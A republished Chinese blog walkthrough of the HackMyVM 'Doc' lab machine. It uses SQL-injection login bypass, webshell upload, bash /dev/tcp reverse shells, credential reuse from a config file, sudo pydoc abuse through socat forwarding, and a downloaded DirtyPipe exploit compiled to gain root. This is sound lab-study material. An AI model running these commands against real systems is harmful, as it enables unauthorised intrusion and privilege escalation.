0


HackMyvm精品系列(二)Doc持续更新

文章目录

信息收集

先扫描一下网段,拿下IP

nmap -sP 192.168.200.0/24

在这里插入图片描述
扫描主机端口服务等信息

nmap -sV -sC -p- 192.168.200.80

只开了80端口,那么肯定只能从web层面突破了
在这里插入图片描述
看看是什么东西,发现是OTOMS,看看能不能一把梭,尝试了一下,啥也搜不到
在这里插入图片描述
首页处有一个登录,指向doc.hmv,那我们改一下host,添加这么一条
在这里插入图片描述
现在打开是这样了,并且有一个登录的地方
在这里插入图片描述
登录处如下
在这里插入图片描述
暂时没有更多的信息了,那么就扫一下目录

gobuster dir -w directory-list-2.3-medium.txt -u http://192.168.200.80 -x txt,html,zip

在这里插入图片描述
这里有很多目录,我接着扫了这里面的目录,没有一个好的结果,我就不写步骤了,和上面的操作一样,这个时候我陷入了僵局,一把梭无果,也没有更多的信息可以收集

漏洞利用

既然有登录框,那会不会存在SQL注入呢,万能密码试一下

1' or 1=1 -- -

居然真的进来了
在这里插入图片描述
在这个地方找到了两个文件上传点
在这里插入图片描述
那么尝试上传一个马看看,甚至没有过滤,直接上传成功了,路径右键打开就可以看到。
在这里插入图片描述
反弹一下shell

bash -c 'exec bash -i &>/dev/tcp/192.168.200.179/3333<&1'

在这里插入图片描述
经过长时间的信息收集,在网站根目录下有一个数据库配置文件,initialize.php,这里面有数据库连接账号和密码
在这里插入图片描述
刚好,home目录下就有这个用户,那么合理猜测,可能密码会重复
在这里插入图片描述
登录成功,拿到第一个flag
在这里插入图片描述

权限提升

方法一:sudo提权

还是按照常规操作看看sudo,发现了一个可以利用的命令,不需要密码,叫doc

在这里插入图片描述
看看里面有什么

strings /usr/bin/doc

发现他调用了pydoc3.9
在这里插入图片描述
先去看看这个东西到底是干啥的,附上官方文档链接

htt*ps://docs.pyt*hon.org/3/lib*rary/pyd*oc.html  #去掉*

这里说我们可以在web上浏览我们的文件,那么如果我们用sudo执行这个doc,再到这个目录下面放一个反弹shell的文件,我们在网页上get它,我们就应该能得到一个反弹到的shell,并且是sudo执行的,也就能拿到root权限了
在这里插入图片描述
先启动一下

doc

在有了这个思路之后,第一步就遇到了问题,这里服务是在localhost,也就是说我们无法从外面去访问它,这个时候需要用到代理了
在这里插入图片描述
这里需要使用到一款转发工具 socat,刚好这里有

socat tcp-listen:5000,fork tcp:127.0.0.1:7890

现在我们通过5000端口就能打开这个网页了
在这里插入图片描述
那么既然解决了这个问题,我们就可以写一个python的脚本,然后反弹shell,脚本内容如下

import os
os.system("bash -c 'exec bash -i &>/dev/tcp/192.168.200.179/5555 <&1'")

那么总的流程是
第一个靶机的会话用sudo 开启doc

sudo doc  
b

在这里插入图片描述
第二个靶机会话开启转发

socat tcp-listen:5000,fork tcp:127.0.0.1:7890

在这里插入图片描述
此时我们再看一下这个页面,我们写的文件就在这里了,注意这里记得选一个可写的目录启动doc
在这里插入图片描述
此时在右上角的get框内输入2,然后点击get,反弹shell成功,拿到root权限

方法二:信息收集一把梭

接下来介绍另一种方法
上信息收集脚本

python3 -m http.server
wget http://192.168.200.179:8000/linpeas.sh & wget http://192.168.200.179:8000/pspy64
chmod +x linpeas.sh pspy64
./linpeas.sh

一堆CVE,这里可以一把梭,再看看其他的
在这里插入图片描述
这里还有Rsync,暂时不知道能不能利用
在这里插入图片描述
那么这里随便找个漏洞一把梭试一下,这里选择CVE-2022-0847,因为直觉让我感觉他成功概率比较大

python3 -m http.server
mkdir dirtypipez
cd dirtypipez
wget http://192.168.200.179:8000/dirtypipez.c
gcc dirtypipez.c -o exp

在执行gcc的时候报错了
在这里插入图片描述
应该环境变量的问题,给ccl添加一个环境变量,先查找ccl的路径

find /usr/ -name "*cc1*"

在这里插入图片描述

export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/10/cc1
或者用这条也能成功,这里懂哥可以说一下为什么
export PATH=$PATH:/usr/libexec/gcc/x86_64-redhat-linux/4.8.2/

然后找个提权需要一个拥有suid权限的命令,随便找一个

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
比如这里用chfn

./exp /usr/bin/chfn

提权成功,其他的漏洞我就不做演示了,感兴趣的可以去尝试一下
在这里插入图片描述

总结

总结:这一套还是和常规的靶机有很多不一样的地方的,第一步要通过发现登录的跳转URL来修改HOST,发现登录框后我的第一反应是去信息收集找到用户名和密码,一层层的扫描目录浪费了很多时间,最终没发现什么有用的信息。

这个时候我尝试了弱口令,寻找框架漏洞,但是都没成功,直到想起来尝试SQL注入,最终用万能密码登录成功,进入后台就是文件上传了,拿到webshell之后通过数据库配置文件,结合/home目录下的用户名,猜测可能数据库账号密码与该用户的一致,拿到第一个flag。

第二个flag如果不用一把梭,过程还是相当曲折的,首先是通过sudo -l 发现了一个任意用户都能够执行的命令,然后根据这个命令的用法,在网页上执行我们反弹shell的python脚本,但是这个时候又遇到了阻碍,因为 sudo doc 这个命令启动的web服务是localhost,所以我们不能直接通过公网去访问这个页面,这里就需要用到端口转发工具socat ,把7890端口的数据全部转移到公网能够连接的5000端口(任意端口都可以),此时我们再通过访问这个网站的5000端口就能够执行我们反弹shell的python脚本了,这里还有个小细节,就是我们启动doc服务的时候必须要选择一个我们拥有可读写权限的目录,这样才能把脚本放进去,然后执行。至于一把梭,根据exp的使用说明一步步操作即可,总的来说这还是一套很不错的靶机的。


小心思:球球各位给个三连吧!😉 会点赞关注收藏的大帅哥大漂亮们也许已经够帅气和美丽了,但是根据科学研究调查发现,给博主三连能让各位颜值更上一层楼,祝各位祝财源广进,进德修业,业精于勤,勤而补拙,卓尔不群,群英荟萃,摧枯拉朽,朽木生花,花辰月夕,夕寐宵兴,兴旺发达,达士通人,人定胜天!

你们的支持就是继续创作的最好动力~博主会继续坚持更新,保证让最简单普通的语言把每个知识点讲清楚,大家一起进步!

另外现在这个系列是新开的精品系列,精品系列我只会选取我觉得对我来说有特殊意义,能学到比较多的东西的靶机,绝对是精挑细选的!😃


本文转载自: https://blog.csdn.net/Acong_L/article/details/123987574
版权归原作者 AlongLx 所有, 如有侵权,请联系我们删除。

“HackMyvm精品系列(二)Doc持续更新”的评论:

还没有评论